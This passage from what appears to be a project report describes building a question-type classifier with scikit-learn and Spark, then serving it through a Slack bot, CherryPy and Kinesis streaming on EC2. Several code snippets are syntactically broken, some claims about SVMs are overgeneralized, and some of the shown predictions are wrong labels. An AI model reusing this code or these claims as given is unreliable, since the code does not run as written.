model is supplied with new sentence to make a prediction of a question type 7. The output of the model is a question type from the entire question type hierarchy as shown in Figure 1. 6.1 Rules for Classification Following are the rules for labeling the data, - If a query starts with *Who or Whom*: type **Person**. - If a query starts with *Where*: type **Location**. - If a query contains *Which or What, the head noun* phrase determines the class, as for What X questions. 6.2 Challenges while developing the model - Precisely predict the *k semantic classes*. - Using advanced NLP techniques to understand the semantics of a given question rather than just extracting a key term - Make a scalable model - Ability to handle load 7. Implementation Using Scikit Learn Scikit-learn is a machine learning library in Python which is used for data analysis and data mining. It consists of various machine learning libraries which can be used for classification, regression or clustering. Question type recognition is a classification problem and so we are using a classification library which is Support Vector Machine (SVM). 7.1 Why SVM for text classification? During the course of the years, researchers have tried using different algorithms combination for text classification. But Support Vector Machine (SVM) performs better than most of the algorithms. Thorsten Joachims have mentioned a few reasons why SVM outperforms the other algorithms [5], - SVM can handle large feature space. There are lot many features to handle while making a model for text classification, so there may be a chance of overfitting the data so as to cover all the features as close as possible. Since SVM can prevent overfitting with an appropriate regularization parameter (C), it does not have to rely on the quantity of features, they can possibly deal with large number feature spaces. - There is no need of feature selection in text classification as most of the textual features are important. So unlike other types of classification where algorithms are used to perform feature selection, SVM does not need to do this in text classification. • Text classification problem is linearly separable. SVM is the best classification algorithm if a problem is linear separable. • Apart from C, we don't need to optimize any algorithm parameter, unlike other algorithms. We usually perform grid search to find the best set of parameters to use. This can be avoided in case of SVM. • Training time for SVM is faster than other classification algorithms. 7.2 Data Preprocessing The dataset obtained from TREC had certain junk characters in the form of Greek symbols such as $\Delta$ or $\|$. So we removed the characters other than a-Z and A-Z. Removal of stop words was done during the training of the model itself. A stop words list was passed as a parameter during the training step. After removal of the junk characters, the dataset looks like as shown in Figure 3, 7.3 Feature Extraction Feature extraction is the most important step in any predictive modeling. The processed dataset is imported and we use the advance natural processing techniques to extract the features for the model. We are using Python's Natural Language Toolkit (NLTK) library to extract most of the features. For text classification, following are features that we are interested in, - **tf-idf Vectorizer**- tf-idf vectorizer helps in identifying the importance of a particular word in a text in the entire corpus. The importance of the word is decided by the frequency of appearance of the word in the corpus. This is done while calculating the term frequency. But we don't want to put more importance on the words such as "a", "the", "and", etc. After calculating the frequency of the words, in order to precisely assign the weight, we calculate the inverse document frequency to identify the most relevant words. The word that appears less is assigned more importance or weight. This feature makes the classifier understand what words to focus on while learning. While performing tf-idf, n-grams are also taken into consideration. N-grams helps in identifying which words are more frequently used to denote a person, or organization or location or any other entity. So it helps in identifying the importance of certain stop words while denoting an entity. The tf-idf score changes accordingly and it helps in better modeling of the predictive algorithm. In this project, we are using a standard \textit{tf-idf()} function which is available in Python NLTK library. - **Parts Of Speech (POS) tagging** - A POS tagger is software in which each word is assigned a parts of speech depending upon the neighboring word. As we also consider the adjacent word while tagging a particular word, \(n\)-grams are also considered while tagging a word. POS tagging helps in predicting what can be the next word in a series of concurrent words. It also helps as a basis of syntactic parsing and then meaning extraction. In the project, we are using a standard POS tagging function \textit{pos_tag()} which is available in Python NLTK library. The parts of speech can be any of the following or a combination of it as shown in the diagram, ```python class TagVectorizer(TfidfVectorizer): def __init__(self, tags_only=False, input='content', encoding='utf-8', decode_error='strict', strip_accents=None, lowercase=True, preprocessor=None, tokenizer=None, analyzer='word', stop_words=None, token_pattern=r'(?u)\b\w+\b', ngram_range=(1, 1), max_df=1.0, min_df=1, max_features=None, vocabulary=None, binary=False, dtype=np.int64, norm='l2', use_idf=True, smooth_idf=True, sublinear_tf=False): super(TagVectorizer, self).__init__( input=input, encoding=encoding, decode_error=decode_error, strip_accents=strip_accents, lowercase=lowercase, preprocessor=preprocessor, tokenizer=tokenizer, analyzer=analyzer, stop_words=stop_words, token_pattern=token_pattern, ngram_range=ngram_range, max_df=max_df, min_df=min_df, max_features=max_features, vocabulary=vocabulary, binary=binary, dtype=dtype, norm=norm, use_idf=use_idf, smooth_idf=smooth_idf, sublinear_tf=sublinear_tf) self.tags_only = tags_only ``` Figure 5. POS Tagger class ```python def build_analyzer(self): preprocess = self.build_preprocessor() stop_words = self.get_stop_words() tokenizer = self.build_tokenizer() tokenize = lambda doc: tokenizer(preprocess(self.decode(doc))) get_tags = lambda doc: [t[1] for t in pos_tag(tokenize(doc))] return lambda doc: self._word_ngrams(get_tags(doc), stop_words) ``` Figure 6. Extracting POS tags - **Named Entity Recognition (NER)** - Named entity corresponds to classifying a word in any of the categories such as Persons, Products, Organizations, Locations etc. A NER tagger helps in classifying a word into any of the named entities. Extracting NER tags from a text helps in identifying whether a question is related to person, organization, or location or any of the six broad question type categories. For this project, we are using Stanford NER tagger which internally has functionality to extract the required named entity. ```python class NERVectorizer(TfidfVectorizer): def __init__(self, tags_only=True, input='content', encoding='utf-8', decode_error='strict', strip_accents=None, lowercase=True, preprocessor=None, tokenizer=None, analyzer='word', stop_words=None, token_pattern=r"\b\w+\b", ngram_range=(1, 1), max_df=1.0, min_df=1, max_features=None, vocabulary=None, binary=False, dtype=np.int64, norm='l2', use_idf=True, smooth_idf=True, sublinear_tf=False): super(NERVectorizer, self).__init__( input=input, encoding=encoding, decode_error=decode_error, strip_accents=strip_accents, lowercase=lowercase, preprocessor=preprocessor, tokenizer=tokenizer, analyzer=analyzer, stop_words=stop_words, token_pattern=token_pattern, ngram_range=ngram_range, max_df=max_df, min_df=min_df, max_features=max_features, vocabulary=vocabulary, binary=binary, dtype=dtype, norm=norm, use_idf=use_idf, smooth_idf=smooth_idf, sublinear_tf=sublinear_tf) self.tags_only=tags_only self.tagger = StanfordNERTagger(config.NER_MODEL_PATH, config.NER_JAR, encoding=encoding) def build_analyzer(self): """Return a callable that handles preprocessing and tokenization"" preprocess = self.build.preprocessing() tokenizer = self.build.tokenizer() tokenize = lambda doc: tokenizer(preprocess(self.decode(doc))) get_tags = lambda doc: [[t[1] for t in self.tagger.tag(tokenize(doc))] return lambda doc: self._word_ngrams(get_tags(doc)) ``` Figure 7. NER Tagger class Figure 8. Tokenizing and extracting NER tags • **Semantically Related Words**- Performing semantic analysis is one of the important steps in text classification. A single sentence can be modified and represented in multiple ways. It is important to analyze the meaning of the sentence no matter how it is represented. In this project, we are providing a word list which consists a directory of most commonly used words and its different representations. Sample directory structure is shown below, First we create a dictionary of all the related words with key as the file_name and value as a list all the words inside that file. This process can be shown using the following implementation, Then for each tokenized word of the text, we compare the word with this dictionary to check in which category (which is the key of the dictionary) does the tokenized word fall. Once we find the all the keywords, we create a string that resembles all the category and pass it as a feature. So no matter how differently a sentence is constructed, the semantics will always be the same. This reduces the learning efforts of the classifier as it does not have to learn and recognize each sentence in a different manner. By doing semantic analysis, a classifier can recognize any semantically related sentence to what it learned during training phase. This process is shown in the following implementation, ```python def build_word_lists(): word_lists = {} a = 'data/rel_words' listing = listdir(a) for wlf in listing: f = open(path.join(a, wlf), 'r') word_lists[wlf] = [word.strip().lower() for word in f.readlines()] return word_lists ``` Figure 9. Building a word list from the related words directory ```python class RelatedWordVectorizer(TfidfVectorizer): def __init__(self, tags_only=False, input='content', encoding='utf-8', decode_error='strict', strip_accents=None, lowercase=True, preprocessor=None, tokenizer=None, analyzer='word', stop_words=None, token_pattern=r'(?u)\b\w\b', ngram_range=(1, 1), max_df=1.0, min_df=1, max_features=None, vocabulary=None, binary=False, dtype=np.int64, norm='l2', use_idf=True, smooth_idf=True, sublinear_tf=False): super(RelatedWordVectorizer, self).__init__( input=input, encoding=encoding, decode_error=decode_error, strip_accents=strip_accents, lowercase=lowercase, preprocessor=preprocessor, tokenizer=tokenizer, analyzer=analyzer, stop_words=stop_words, token_pattern=token_pattern, ngram_range=ngram_range, max_df=max_df, min_df=min_df, max_features=max_features, vocabulary=vocabulary, binary=binary, dtype=dtype, norm=norm, use_idf=use_idf, smooth_idf=smooth_idf, sublinear_tf=sublinear_tf) self.word_lists = build_word_lists() ``` Figure 10. Related Word Vectorizer Class 7.4 Predictive Modeling After extracting all the features, we create a model using a machine learning classification algorithm Support Vector Machine (SVM). The model is created using a function called as *pipeline()*. In the *pipeline()* function, we give a list of transformers and an estimator. Estimator can be any machine learning algorithm, in this case it is SVM. Pipeline helps in reducing the necessity to call the *transform()* method after every transformation. All the transformations are done when we call the *fit()* method. Finally the estimator, which has the *fit()* method gets the final set of features that is needed to train the model. Following is the code snippet for the pipeline implementation, ```python def build_model(self): model = Pipeline([ ('union', FeatureUnion({ 'words', TfidfVectorizer(max_df=0.25, ngram_range=(1, 4), sublinear_tf=True, max_features=5000)), 'relword', feature_extractor.features.RelatedWordVectorizer(max_df=0.75, ngram_range=(1, 4), sublinear_tf=True)), 'pos', feature_extractor.features.TagVectorizer(max_df=0.75, ngram_range=(1, 4), sublinear_tf=True)), 'ner', feature_extractor.features.NERVectorizer(min_df=0.8,ngram_range=(1, 4), sublinear_tf=True)), ('clf', LinearSVC()) ) return model ``` Figure 12. Pipeline implementation *FeatureUnion()* estimator function helps in concatenating the output of all the transformations. The transformations are applied in parallel for each input data and then it concatenates the results in the end. This final feature set is given to the estimator, which can be any machine learning algorithm. After all the pre-processing and the feature extraction phases, the data point includes - Named entity for each tokenized words, - The tf-idf vectors, - POS tags for each word and, - The set of related words from the bag of words for each tokenized word Additionally, the n-gram parameter has been set to take values between 1 to 4 while creating the model pipeline. This enhances the learning process for the model. After we train the model, the model is evaluated using the TREC_10 dataset. The model gave an accuracy of 93%. The model is now ready for making prediction. Following code snippet shows a sample run of the prediction, Figure 13. Evaluation results Figure 14. Sample run for making prediction After creating the model we save the model so that we can use it for later purpose. ```python classify_question_type("What are the application deadlines ?") ``` Figure 15. Saving the model ``` data = load_data("./data/train_5500.txt", coarse=False) clf = Classifier(data) clf.train_model() clf.save_model("TrainCoarseFalse.pkl") ``` As a part of the real life application, the trained classifier was integrated with Slack. So instead of making prediction by taking user inputs from the console, we created a bot application on Slack. 7.5 Application using Slack Slack is an online messaging platform. It helps the teams to collaborate and communicate at the same time. The idea behind creating a Slack bot was to create an application where we can use our classifier. So we decided to create a bot using the botkit framework [6]. Botkit is a library that is used to create conversation bots by easing the process of creation. Botkit has compatibility with different platforms such as Slack, Twilio, Microsoft bot framework and Facebook. 7.5.1 Implementation of the bot The bot was developed in the two phases, 1. Using wit.ai 2. Using the classifier by writing a custom middleware 7.5.1.1 Implementation using Wit.ai Initially, before the classifier was developed, a simple bot was created using wit.ai. Wit provides an online console and API's to create a smarter conversation bot. It uses NLP techniques to make an intelligent bot. It maps the user inputs with the predefined entities and intents and gives the output accordingly. Initially a user create a list of entities and intents to train the wit model. For training, the user enters inputs from Slack console, and the question comes to the message folder of the wit.ai. The user validates the message by mapping it to an appropriate intent. Then after sufficient amount of training, the model starts predicting the intents for unknown inputs. For example, for a "food" intent, users may say "Can someone order the **food**?" If we don't find an existing intent, or if there is no suggested intent we can create our own intent. For demo purpose, we created two entities, "**Greeting**" and "**Question**". We took two questions from the CS FAQ section to determine the intent and retrieve the answers to it. The questions focused on determining the rules for disqualifications and how to schedule appointments with the advisor. The following images show sample screenshots of the entities the keywords and the expressions used to train the model. The keywords help to identify the intent and map it to the appropriate entity. ![Creating sample entities on wit console](image-url) Figure 17. Keywords for "Greeting" entity Figure 18. Expressions for "Greeting" entity Figure 19. Keywords for "Question" entity The next step was to integrate wit with the botkit framework. We used a middleware service that connects both wit and the botkit. Now, every message that was received to our bot was sent to wit.ai for processing. After the processing, the output from wit comes in the form of JSON. The middleware parses through the JSON output and finds the key "message.entities" to get the intent behind the question. 7.5.1.2 Implementation using the Classifier The aim was to build a real life application using the classifier. To integrate the classifier with Slack, we wrote a custom middleware. So instead of going to wit.ai, the request now goes to the classifier application. For this, it was important to create a REST based application of our implementation. We used Flask to create a REST service. It is a framework which is available in Python and it helps in creating web services. Figure given below shows the implementation of our application using Flask. ![Figure 21. Implementation using Flask](image) It looks for 'q' in the arguments of the URL which holds the question. The question is then forwarded to the implementation where we have the classifier and after the classification process, the output is send back to the Slack bot. We can also check the console of our REST application to see the output of our question. For example, the figure below shows how the REST service behaves when it receives any question from the Slack bot, ![Figure 23. Output of the REST application](image) To interact with the REST service, we wrote a custom middleware service. This middleware helps in managing the request from Slack and response from our REST application. In the middleware implementation, we specified the URL where the request from Slack should go to. This URL is the IP address and the port number where our REST application runs. We also specify what query parameter to look for in the request, here it is "q". The following images show the code snippets for the custom middleware implementation, 7.6 Multiprocessing Using CherryPy WSGI server The application created using Flask was a sequential application. In order to enable multiprocessing, we used a web framework for Python called as CherryPy. It is Web Server Gateway Interface (WSGI) framework which provides a multi-threaded web server where we can deploy any application. The main advantage of using CherryPy is that it is a very easy to use framework with only few customization needed to run any application. When the REST application is deployed to CherryPy, the application runs in a thread. It helps in utilizing all the cores of the CPU's and thereby handling multiple requests. The following code snippet shows the implementation using CherryPy WSGI server. As shown, the "app" in the import statement is the name of the Flask application that we need to deploy on CherryPy. 7.7 Load Testing the application To test how much our application can take the load, we used locust.io. It is a tool to load test any python application. Following is the implementation snippet for our application, ```python from localhost import app import cherrypy if __name__ == '__main__': # Mount the application cherrypy.tree.graft(app, '/') # Unsubscribe the default server cherrypy.server.unsubscribe() # Instantiate a new server object server = cherrypy._cpserver.Server() # Configure the server object server.socket_host = '127.0.0.1' server.socket_port = 8070 server.thread_pool = 100 # For SSL Support server.ssl_module = 'pyOpenSSL' server.ssl_certificate = 'ssl/certificate.crt' server.ssl_private_key = 'ssl/private.key' server.ssl_certificate_chain = 'ssl/bundle.crt' # Subscribe this server server.subscribe() # Start the server engine (Option 1: *and* 2) cherrypy.engine.start() cherrypy.engine.block() ``` Figure 25. CherryPy implementation The name of our locust file is server.py. To run the file we use the following command, "locust -f testing/server.py --host=127.0.0.1:5000" The host is the URL where the locust server is running. In the code, we have set the waiting time for a request to come as 0. To perform load testing, we simulate the requests from 100 users. The number of users per second (hatch rate) keep on increasing from 1 till it reaches 100. Figure shown below shows the initial console of locust.io where can enter our values for users and the hatch rate, After swarming the requests, we check how the application behaves. As shown in the figure below, the application dies after taking 26 simultaneous requests. It doesn't process any request further than 26. As we can see, the performance was still a concern. It was necessary to build an application that can handle huge load and achieves the goal of scalability. To solve the problem of scalability and performance we moved our focus to Apache Spark. 8. Implementation Using Apache Spark Spark is a framework which is used to process huge amount of data in a fast and very efficient manner. It was developed at Berkley in 2009 and it soon became a top-level project at Apache. Following are some of the advantages of using Apache Spark, - Fast and reliable in memory processing (100x faster than traditional MapReduce) - Fault tolerant capability as Spark uses an immutable data structure called as RDD - It provides MLlib as one of the libraries using which we can perform any machine learning techniques - It provides the ability to perform real-time streaming using Spark Streaming 8.1 Overview of Spark Architecture The following figure shows the architecture of Apache Spark [7], ![Figure Spark Architecture] Driver is the master node that controls the execution and distribution of tasks across all worker nodes. SparkContext is used to create an instance of Spark application. Using that instance we perform any functions, like creating RDDs, using broadcast variables, creating jobs and accessing spark services until the instance is stopped. Cluster manager can be Mesos, Yarn or Hadoop itself. We can also run Spark in a standalone mode. When the task is ready for execution, driver distributes the task to all the worker nodes. Each worker has an executor which executes the assigned task. After the completion of the task, the result is sent back to the driver daemon. The figure below shows the stack that spark supports on its architecture [8], Figure Spark Stack 8.2 Data Preprocessing We are using the same pre-processed data obtained from the scikit-learn classification. Figure 3. Sample training dataset train_5500.txt 8.3 Feature Extraction Spark doesn't have direct support for nltk libraries. As Spark uses RDD, every feature extraction process is an output of a transformation. So we created a custom transformer for one of the feature extraction process which is POS tagging. Figure given below shows the workflow for the feature extraction process, To initiate a Spark job, we first create its instance using SparkContext. We read the processed file which is stored in our local system. After reading the file, we get an RDD which holds the entire text file. To optimize the training time, we convert the RDD to a Spark dataframe using toDF() method. Databricks has done some benchmark testing to compare the performance of RDD and a dataframe [9]. The results clearly show that Dataframe is better in performance as compared to RDD. The following figure shows the performance results of the same, The graph compares the aggregation results of 10M integer pairs on a single node during runtime. The difference between performance of Python and Scala dataframe operation is quite less as both generate JVM bytecode after execution and so nothing much to compare of. In case of RDD operations, the dataframe performance results beat both the language variants, the python implementation of RDD by a factor of 5 and Scala implementation of RDD by 2 [9]. 1. **Tokenization:** After reading the file into RDD, we convert it into a dataframe. Then we tokenize the data and pass it to the next step, POS tagging. The output of the tokenizer is saved in column "words". ``` if __name__ == "__main__": conf = SparkConf() conf.setAppName('spark-nltk') sc = SparkContext(conf=conf) sqlContext = SQLContext(sc) m = sc.textFile("Question_Type_Classification_testing_purpose/data/train_5500.txt") .map(lambda s: s.split(" ",1)) df = m.toDF() df.show() df.select('1').show() tokenizer = Tokenizer(inputCol="_2", outputCol="words") tok = tokenizer.transform(df) pos = POSWordTagger(inputCol="words", outputCol="pos") after_pos = pos.transform(tok) ``` Figure Tokenization and POS tagging 2. **POS tagging:** Output of tokenizer, "words" is given as input column to the custom transformer. As Spark doesn't support the nltk libraries directly, we wrote a custom transformer. The transform method uses the `pos_tags()` method from the nltk library to extract the POS tag for each token. The output is saved in the column "pos". 3. Tf-idf vectorizer: Output of pos tagger, "pos" is given as input column to the custom transformer. The output of POS tagger transformer is used to extract the tf-idf vectors. The output of tf-idf vectorizer is saved in the column "raw_features". ```python hashingTF = HashingTF(inputCol="pos", outputCol="raw_features") htf=hashingTF.transform(after_pos) idf = IDF(inputCol="raw_features", outputCol="features") idfModel = idf.fit(htf) rescaledData = idfModel.transform(htf) ``` Figure Extracting tf-idf vectors 4. Indexing: Spark doesn't takes string values as labels. So we convert each label to a numeric value by using the StringIndexer() method. The output of the indexer consist of numeric values for each label. The transformed indexer is saved for future use as we need to retrieve the original label back. The output of the indexer is saved in the column "idxlabel" ```python indexer = StringIndexer(inputCol='__1', outputCol="idxlabel").fit(df) indexer.save("saved_model/indexes") idx=indexer.transform(htf) ``` Figure Extracting tf-idf vectors 8.4 Predictive Modeling After we extract all the features, we build our model using decision tree classifier. The input to the classifier is the final set of features obtained after tf-idf transformation and the label column has been given the output of the indexer ```python def tfidf_vectors(indexer): lr = DecisionTreeClassifier(labelCol="idxlabel", maxDepth=7).setFeaturesCol("features") model = lr.fit(idx) model.save("saved_model/dt-model") ``` Figure Extracting tf-idf vectors After building the model, when we evaluate the model using the test dataset, we get an accuracy of 83%. ```python # Python In [7]: %run "C:/Spark_2.1/bin/Question_Type_Classification_testing_purpose/spark_clf_test.py" accuracy is : 0.83 In [8]: ``` Figure Spark Model Evaluation The model is saved to disk to use it for later purpose (Spark Streaming). 9. Spark Streaming The aim was to create a scalable application with notable performance gain. So in order to simulate a real-world scenario, we created a Spark streaming application. We used the Spark Streaming API that is available in the Spark stack to create a streaming application. The figure given below shows the architecture of Spark Streaming [10], ![Spark Streaming Architecture](image) Input sources can be any streaming service (producer), which will generate the data and submit it to the Spark streaming application which will act as a consumer. After the data has been ingested and the required operation has been performed on the data, the output can be written or saved to any storage services. We can also create a dashboard which can show the impact and behavior of all the processing in the form of graphs. For our application, we are using Amazon Kinesis as the producer. So now, instead of providing some sample questions for prediction, we give a stream of questions to the classifier. 9.1 Amazon Kinesis Streams Amazon Kinesis streams is one of the many services that is provided by Amazon Web Services (AWS). It is used to create streaming data. As the data is generated continuously from multiple sources, the size of data to be processed per hour has reached upto TBs. Amazon Kinesis helps to collect such huge data and provide ways to process and store it at very low cost. Advantages of using Amazon Kinesis are, 1. Real-time streaming- We can collect the data as and when it is generated and we can perform any analysis or computation in real time. 2. Parallel processing- We can process the same Kinesis stream by running multiple Kinesis applications concurrently. 3. Scalability- Kinesis streams can scale to handle Megabytes or even Terabytes of data per hour. We can adjust the throughput required for our application dynamically. 4. Low processing cost- It is cheap to use Amazon Kinesis streams with the rates being $0.015 per hour. 5. Reliability- It replicates the data across three Amazon Region facilities and it can store the data for seven days, thereby avoiding any information loss due to failure. 9.1.1 Amazon Kinesis Streams Architecture The following figure shows the architecture of Kinesis Streams [11], ![Figure High level architecture of Kinesis Streams](image) 1. Producers- Any source that can generate data 2. Kinesis Application- EC2 running application that acts as a consumer for the streams of data. Output of the consumer can be an input to another Kinesis application running on EC2 instance or we can store the output on any storage services. 3. Shards- It distinctly identifies data records in a stream. A stream consists of at least one shard. We can dynamically increase or decrease the number of shards with an increase or decrease in data rate. 4. Partition- Data records are segregated into shards using a partition key. When data is regrouped, this key helps in identifying that the particular record belongs to which shard. 5. Amazon Kinesis Client Library (KCL)- Applications are build using KCL and are used to process the data fetched from the streams. **9.1.2 Prerequisites** In order to use AWS services, we need to do following steps, 1. Create a login account. 2. Install the AWS CLI tool. We can use the following command to install the CLI, ``` $ pip install awscli $ sudo pip install --upgrade awscli ``` 3. Set up our AWS credentials in our environment. It includes two variables to set, ``` aws_access_key_id = YOUR_KEY aws_secret_access_key = YOUR_SECRET ``` We use to following command to setup the environment, ``` $ aws configure ``` The credentials are saved in a "credentials" file which is located in the directory where we have installed the AWS. Now our environment is ready to communicate with any AWS services. 4. Install boto3- It is the AWS SDK build for Python. It provides a set of libraries that we can use to communicate with AWS services. Here we will use boto3 to create a Kinesis Client. We use the following command to install boto3, ``` $ pip install boto3 ``` 5. Choose a region - The region name is default which is us-west-2. We can change the region name by changing the value of the *region* field in the aws config file. The next step is to create a Kinesis Producer which will create a Kinesis stream on AWS. The stream will comprise of different questions which are read from a text file. 9.1.3 Create a Kinesis Producer We create a Kinesis client to create and submit out streams on AWS. As a data source, we are using a dataset which comprises of 200 unique questions. We create a stream with the name as "questions" and the partition key as "qtypes". The stream need an input in the JSON format and so we use the `json.dumps()` method while putting the records using `kinesis.put_record()`. Default shard count is 1. As shown in the figure below, the Kinesis stream client will continuously submit the questions to the stream using an infinite loop, ``` import boto3 as b import json c1=b.client('kinesis') st=c1.create_stream( StreamName='questions', ShardCount=1) with open("data/test.txt", "r") as f: qfile = f.readlines() kinesis=b.client("kinesis") while 1: for item in qfile: kinesis.put_record(StreamName="questions", Data=json.dumps(item), PartitionKey="qtypes") ``` Figure Kinesis Producer In the first figure given below we can see the "questions" stream that is created on AWS. In the second figure, we can monitor the behavior of the system when we start putting the records on the stream. These graphs are generated by the CloudWatch monitoring system that is built-in in AWS. Figure Stream generated on AWS Figure Monitoring system on AWS Kinesis Stream 9.2 Create a Spark Streaming Consumer In order to fetch the data produced by Kinesis, we wrote a Spark streaming consumer application. We wanted to observe how the two classifiers behave in real-time streaming. So we built two streaming applications in which we used the scikit-learn classifier and the spark classifier. We use the PySpark library to implement any Spark job in Python. To initiate a Spark job, we use the SparkContext() object which is imported from the PySpark library. It is the starting point for any Spark application. To initiate spark streaming, we create a StreamingContext() object which is imported from the spark streaming library. 9.2.1 Implementing Spark Consumer Using scikit-learn Classifier We use the concept of broadcast variables in both the application. We load the stored classifier from the disk and give it to the broadcast variable. When we do sc.broadcast(), we broadcast the classifier to all the worker nodes. So when the stream of questions comes, we have the classifier available on all the workers. The figure given below gives the implementation snippet for the spark consumer application using scikit learn classifier. As shown in the figure, we use the Kinesis Utils library to consume the Kinesis streams. The parameter InitialPositionStream.LATEST indicates that we are interested in the latest streams. Shard count is set to 1 as we are using only 1 shard. We deploy our classifier when we do broadcastVar.value and then we call the predict() method of the classifier for each question. We use following command to run the spark job. "spark-submit --driver-memory 5g Question_Type_Classification/spark-stream.py" As we are running spark on a local machine, we give the driver memory a value (here 5g) to indicate what amount of RAM is to be given to the executors on each worker node. We cannot set the executor memory when we run spark on a local machine. The reason being that, when we run spark on a local machine, the worker resides inside the JVM process of the driver. The default memory is set to 512MB. So we have to reset it to a higher value depending upon available system configuration. When we run Spark in a cluster mode, then we can set the executor memory to some value as we would have a different master (other than the driver daemon) which can be Mesos or Yarn or Hadoop itself. The output of the spark streaming is given below, ``` Current question is "In what city is the famed St. Mark’s Square ?\n" question type is [‘NUM:dist’] Current question is "During which season do most thunderstorms occur ?\n" question type is [‘NUM:dist’] Current question is "What county is Modesto, California in ?\n" question type is [‘LOC:city’] ``` Figure Spark streaming output ### 9.2.2 Implementing Spark Consumer Using Spark Classifier In this, we broadcast the two models from the driver program. First is the indexer that we saved in the previous spark program while training the classifier as we have to retrieve the original labels from the indexed one and second is the classifier itself. For each stream of questions, we extract the features and give it to the classifier for prediction. The following snippets show the implementation of the spark consumer using the spark classifier. if __name__ == "__main__": sc = SparkContext(appName="PythonStreamingTest") ssc = StreamingContext(sc, 20) sqlContext = SQLContext(sc) Indexer_var = sc.broadcast(StringIndexerModel.load("saved_model/indexes")) clf_var = sc.broadcast(dt.load("saved_model/dt-model")) appName, streamName, endpointUrl, regionName = sys.argv[1:] dstream = KinesisUtils.createStream( "us-west-2", InitialPositionInStream.LATEST, ) dstream.foreachRDD(stream_rdd) ssc.start() ssc.awaitTermination() def stream_rdd(rdd): if not rdd.isEmpty(): row = Row(_2) df = rdd.map(row).toDF() print("Current question is\n" print(df.toString()) tokens = tokenize(df) pos = pos_tagger(tokens) tf = term_freq(pos) features = label_indexing(tf) label = predict(features) pred_label = predicted_labels(label) print("question type is\", pred_label return pred_label Figure Spark driver program Figure stream_rdd() function implementation ```python def tokenize(df): tokenizer = Tokenizer(inputCol="_2", outputCol="words") return tokenizer.transform(df) def pos_tagger(tok_transform): pos = POSWordTagger(inputCol="words", outputCol="pos") return pos.transform(tok_transform) def term_freq(pos_transform): hashingTF = HashingTF(inputCol="pos", outputCol="raw_features") return hashingTF.transform(pos_transform) def label_indexing(tf_transform): indexer=indexer_var.value return indexer.transform(tf_transform) def predict(features): model = clf_var.value return model.transform(features) def predicted_labels(prediction): indexer=indexer_var.value labelConverter = IndexToString(inputCol="prediction", outputCol="predicted_label", labels=indexer.labels) return labelConverter.transform(prediction) ``` Figure Feature extraction and prediction Current question is "Where can I buy a hat like the kind Jay Zay from Janiroquai wears ? " question type is "NUMdist") Current question is "During which season do most thunderstorms occur ? " question type is "NUMdesc" Current question is "Winnie the Pooh is what kind of animal ? " question type is "NUMdate" Current question is "Where is the volcano Olympus Mons located ? " question type is "LOCother" Current question is "How long does a dog sleep ? " question type is "NUMTV:animal" Figure Output of the spark consumer 10. Performance Improvements Due to resource crunch on a local machine, there is not much we can do to improve the performance. The real power of spark can only be achieved if we have the computation power. So to improve the performance of the application, we deployed our application on AWS EC2 instances. EC2 provides us instances with the computing resources which we can choose according to our needs. The advantages of using EC2 are, 1. Easy scalability- We can increase or decrease computing resources at will and in few minutes. We can run thousands of instances without worrying about how to manage all the instance as AWS does it for us. Application can scale up or down at runtime depending upon the need. 2. User Control- Users have a full control on each instance. A user can start, stop or restart any instance when required. User has the access to API's or console to manage the instances. 3. Reliable- According to AWS, its cloud is 99.95% reliable. So even if any instance gets failed or crashed due to some reason, another instance is brought up automatically without the customer to realize it and facing any downtime. 4. Secure- AWS allows us to create Virtual Private Cloud (VPC) so that we can have a personalized access to our instances. 5. Inexpensive- The cost of an instance is quite cheap. It works on the principle of pay per use. AWS provides different types of instances which can be chosen as per the use case. For our use case, we are using instances of the M3 family. It provides us with good computation resources that is perfect for most of the applications. We are using a 3 node cluster and each node is an m3.xlarge instance. Each instance has 4 vCPU, 15 GB of RAM and 2x40 GB of SSD storage. When we run the scikit learn classifier on a local machine, the performance was not great. The reason being that, it has to fetch the NER jar for each token for each stream of question, tag each word and bring back the results. This degraded the performance of the application. So we thought to create a new classifier with all the features except NER tagging. We call this classifier as "scikit lite" classifier. So we had tf-idf vectors, POS tagging and semantic analysis as the features for this new classifier. The net result was increase in performance but the accuracy of the scikit lite classifier was only 68%. When we run both the applications individually on the spark framework we can notably see the performance change. To evaluate the performance, we compare the throughput of both the classifiers at different window size. The window size will signify how much seconds the spark application will wait to take the next batch of input records. The window size can be set to any value, but to test the performance on the local machine we took two window sizes, 1 and 15. We compared the results of 8 batches of each classifier application for each window size. The following graphs show us the performance results for the fully loaded classifier (old classifier with all the features) and the scikit lite classifier, Figure Sample output of each completed batches Figure Old classifier stream performance with window size 1: Figure New classifier stream performance with window size 1: As observed from the above graphs, the time taken to process the records is less as compared to the old classifier. Total number of records processed is also high in the new classifier. When we compare the throughput of 8 batches of each classifier application, the processing performance for the old classifier is 0.53 records/second and for the new classifier we get 7.48 records/second. When we change the window size to 15, we get the following graphs, Figure Old classifier stream performance with window size 15: Figure New classifier stream performance with window size 15: As observed from the above graphs, the time taken to process the records is less as compared to the old classifier. Total number of records processed is also high in the new classifier. When we compare the throughput for 8 batches of each classifier application, the processing performance for the old classifier is 0.42 records/second and for the new classifier we get 7.95 records/second. So, for window size 15, the performance for old classifier degraded but there was a slight improvement in performance for the new classifier. We summarize the observations in the following table, <table> <thead> <tr> <th>Observations</th> <th>Old classifier application</th> <th>New classifier application</th> </tr> </thead> <tbody> <tr> <td>Accuracy (%)</td> <td>93</td> <td>68</td> </tr> <tr> <td>Best Performance</td> <td>0.53</td> <td>7.95</td> </tr> <tr> <td>Overall Performance</td> <td>Bad</td> <td>Good</td> </tr> <tr> <td>Best window size</td> <td>1</td> <td>15</td> </tr> </tbody> </table> Table 1. Observation table for old v/s new classifier application From the above table, it is clear that the new classifier performs better than the old classifier. As the goal of the use case was to increase the performance of the application, we chose the new classifier, i.e. the scikit lite classifier to deploy on the AWS EC2 instances. So we deploy our new classifier and the classifier written using spark MLlib on the 3 node cluster to observe and compare the performance results on different loads. 10.1 EC2 Performance Observations We deployed the two applications on the AWS EC2 cluster to evaluate the performance and scalability. In order to execute our application, we setup the worker nodes with all the dependencies that was needed to run the application as per the guidelines on AWS [12]. To evaluate the performance we tested our application by giving low, medium and high load. We also changed the window size which varies to 1, 5, 10, 15 to find the optimum performance. After testing the application on various parameters, we drew the performance graphs using Tableau. The graph has been divided into two sections, first one is average number of records processed per sec and second section is the average input size at different window size. Records processed per sec for each window is obtained by taking the average number of records obtained in 10 batches and average processing time for each batch. 10.1.1 Performance Evaluation for Scikit lite Spark Streaming Application To begin with, we first evaluated how our scikit lite spark streaming application performed on EC2 cluster and what are the notable observations. The following graph shows the performance results on EC2 cluster, As observed from above graph, for low and high load the application performs better as the load increases. For medium load, at 